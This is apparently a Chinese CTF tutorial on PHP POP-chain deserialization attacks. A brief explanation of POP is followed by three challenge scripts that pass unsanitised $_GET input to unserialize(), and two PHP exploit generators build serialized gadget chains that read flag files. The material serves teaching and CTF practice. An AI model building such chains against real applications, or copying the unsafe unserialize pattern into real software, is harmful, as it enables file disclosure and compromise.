POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的
<?php //flag is in flag.php error_reporting(0); class Read { public $var; public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } public function __invoke(){ $content = $this->file_get($this->var); echo $content; } } class Show { public $source; public $str; public function __construct($file='index.php') { $this->source = $file; echo $this->source.'Welcome'."<br>"; } public function __toString() { return $this->str['str']->source; } public function _show() { if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) { die('hacker'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test { public $p; public function __construct() { $this->p = array(); }
public function __get($key) { $function = $this->p; return $function(); } } if(isset($_GET['hello'])) { unserialize($_GET['hello']); } else { $show = new Show('pop3.php'); $show->_show(); }
<?php class Read { public $var="flag.php"; } class Show { public $source; public $str; } class Test { public $p; } $R=new Read(); $S=new Show(); $T=new Test(); $T->p=$R; $S->str['str']=$T; $S->source=$S; echo urlencode(serialize($S));
<?php class start_gg { public $mod1; public $mod2; public function __destruct() { $this->mod1->test1(); } } class Call { public $mod1; public $mod2; public function test1() { $this->mod1->test2(); } } class funct { public $mod1; public $mod2; public function __call($test2,$arr) { $s1 = $this->mod1; $s1(); } } class func { public $mod1; public $mod2; public function __invoke() { $this->mod2 = "字符串拼接".$this->mod1; } } class string1 { public $str1; public $str2; public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:"."xxxxxxxxxxxx"; } } $a = $_GET['string']; unserialize($a); ?>
<?php class start_gg { public $mod1; public $mod2; public function __construct() { $this->mod1= new Call(); } public function __destruct() { $this->mod1->test1(); } } class Call { public $mod1; public $mod2; public function __construct() { $this->mod1= new funct(); } public function test1() { $this->mod1->test2(); } } class funct { public $mod1; public $mod2; public function __construct() { $this->mod1= new func(); } public function __call($test2,$arr) { $s1 = $this->mod1; $s1(); } } class func { public $mod1; public $mod2; public function __construct() { $this->mod1= new string1(); } public function __invoke() { $this->mod2 = "字符串拼接".$this->mod1; } } class string1 { public $str1; public $str2; public function __construct() { $this->str1= new GetFlag(); } public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:"."xxxxxxxxxxxx"; } } $a = new start_gg(); echo urlencode(serialize($a)); ?>
<?php highlight_file(__FILE__); class A { public $a; private $b; protected $c; public function __construct($a, $b, $c) { $this->a = $a; $this->b = $b; $this->c = $c; } protected function flag() { echo file_get_contents('/flag'); }
public function __call($name, $arguments) { call_user_func([$name, $arguments[0]]); }
public function __destruct() { return 'this a:' . $this->a; } public function __wakeup() { $this->a = 1; $this->b = 2; $this->c = 3; } } class B { public $a; private $b; protected $c; public function __construct($a, $b, $c) { $this->a = $a; $this->b = $b; $this->c = $c; } public function b() { echo $this->b; } public function __toString() { $this->a->a($this->b); return 'this is B'; } } if (isset($_GET['str'])) unserialize($_GET['str']);